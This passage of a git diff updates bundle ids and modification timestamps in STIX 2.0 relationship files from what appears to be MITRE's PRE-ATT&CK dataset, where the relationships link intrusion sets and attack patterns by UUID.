+    "id": "bundle--a4e1e8c1-4d48-476d-a554-34a09280e391",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f24a6bf4-c60f-4fa6-8f6a-f2806ae92cdd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--20a66013-8dab-4ca3-a67d-766c842c561c",
             "target_ref": "attack-pattern--54eb2bab-125f-4d1c-b999-0c692860bafe",
diff --git a/pre-attack/relationship/relationship--f43faad4-a016-4da0-8de6-53103d429268.json b/pre-attack/relationship/relationship--f43faad4-a016-4da0-8de6-53103d429268.json
index 4769de013f..3382dc698f 100644
--- a/pre-attack/relationship/relationship--f43faad4-a016-4da0-8de6-53103d429268.json
+++ b/pre-attack/relationship/relationship--f43faad4-a016-4da0-8de6-53103d429268.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--31b76575-0748-4cf6-8bfe-d804d64d4389",
+    "id": "bundle--e81ad0fb-b996-4d7c-bde3-ede866248e3b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f43faad4-a016-4da0-8de6-53103d429268",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
             "target_ref": "attack-pattern--c2ffd229-11bb-4fd8-9208-edbe97b14c93",
diff --git a/pre-attack/relationship/relationship--f6dd74d9-ed02-4fe4-aff6-9ef25906592f.json b/pre-attack/relationship/relationship--f6dd74d9-ed02-4fe4-aff6-9ef25906592f.json
index d6b6c76ae9..aeaff33fff 100644
--- a/pre-attack/relationship/relationship--f6dd74d9-ed02-4fe4-aff6-9ef25906592f.json
+++ b/pre-attack/relationship/relationship--f6dd74d9-ed02-4fe4-aff6-9ef25906592f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c113bb37-22d3-4d67-8706-57dd6c41111d",
+    "id": "bundle--aa13db7c-d682-4627-9051-32a9eb170307",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f6dd74d9-ed02-4fe4-aff6-9ef25906592f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
             "target_ref": "attack-pattern--89a79d91-53e0-4ef5-ba28-558cb8b01f76",
diff --git a/pre-attack/relationship/relationship--f76d74b6-c797-487c-8388-536367d1b922.json b/pre-attack/relationship/relationship--f76d74b6-c797-487c-8388-536367d1b922.json
index f792a2e20f..b8ac345882 100644
--- a/pre-attack/relationship/relationship--f76d74b6-c797-487c-8388-536367d1b922.json
+++ b/pre-attack/relationship/relationship--f76d74b6-c797-487c-8388-536367d1b922.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--56ed4ac2-c15c-4778-a76d-7e7409e6c0b7",
+    "id": "bundle--112e47c8-ad06-40c8-b6cb-0a790d29b2b4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f76d74b6-c797-487c-8388-536367d1b922",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "attack-pattern--357e137c-7589-4af1-895c-3fbad35ea4d2",
diff --git a/pre-attack/relationship/relationship--f8504a07-758c-4c51-ac94-c2e7ba652e29.json b/pre-attack/relationship/relationship--f8504a07-758c-4c51-ac94-c2e7ba652e29.json
index 5371aea641..d983484840 100644
--- a/pre-attack/relationship/relationship--f8504a07-758c-4c51-ac94-c2e7ba652e29.json
+++ b/pre-attack/relationship/relationship--f8504a07-758c-4c51-ac94-c2e7ba652e29.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7b226dc9-7f17-43b9-8626-dd4fef0359ec",
+    "id": "bundle--03a3f8ab-20fa-4f7c-aab2-5a76d06406d1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f8504a07-758c-4c51-ac94-c2e7ba652e29",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--74a3288e-eee9-4f8e-973a-fbc128e033f1",
             "target_ref": "attack-pattern--af358cad-eb71-4e91-a752-236edc237dae",
diff --git a/pre-attack/relationship/relationship--f8559304-7ef6-4c48-8d76-a56ebf37c0be.json b/pre-attack/relationship/relationship--f8559304-7ef6-4c48-8d76-a56ebf37c0be.json
index 0379d22d27..76ab8eedfa 100644
--- a/pre-attack/relationship/relationship--f8559304-7ef6-4c48-8d76-a56ebf37c0be.json
+++ b/pre-attack/relationship/relationship--f8559304-7ef6-4c48-8d76-a56ebf37c0be.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e755c3f4-44c6-4d17-a7e4-ae38eed6c1e0",
+    "id": "bundle--d3c277e9-13f7-4220-923a-e3129b4bb46f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f8559304-7ef6-4c48-8d76-a56ebf37c0be",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70",
             "target_ref": "attack-pattern--e51398e6-53dc-4e9f-a323-e54683d8672b",
diff --git a/pre-attack/relationship/relationship--fe31fa7c-be01-47ca-90bb-0fb49b49eb03.json b/pre-attack/relationship/relationship--fe31fa7c-be01-47ca-90bb-0fb49b49eb03.json
index 7e8a80424e..62e88d7c0c 100644
--- a/pre-attack/relationship/relationship--fe31fa7c-be01-47ca-90bb-0fb49b49eb03.json
+++ b/pre-attack/relationship/relationship--fe31fa7c-be01-47ca-90bb-0fb49b49eb03.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a04c255e-c6c3-4422-b7cd-7f52d4e58187",
+    "id": "bundle--060b2481-2c86-4ee3-ac5b-83a6e6dfb81b",
     "spec_version": "2.0",
     "objects": [
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@@ -8,7 +8,7 @@
             "id": "relationship--fe31fa7c-be01-47ca-90bb-0fb49b49eb03",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--03f4a766-7a21-4b5e-9ccf-e0cf422ab983",
             "target_ref": "attack-pattern--e5164428-03ca-4336-a9a7-4d9ea1417e59",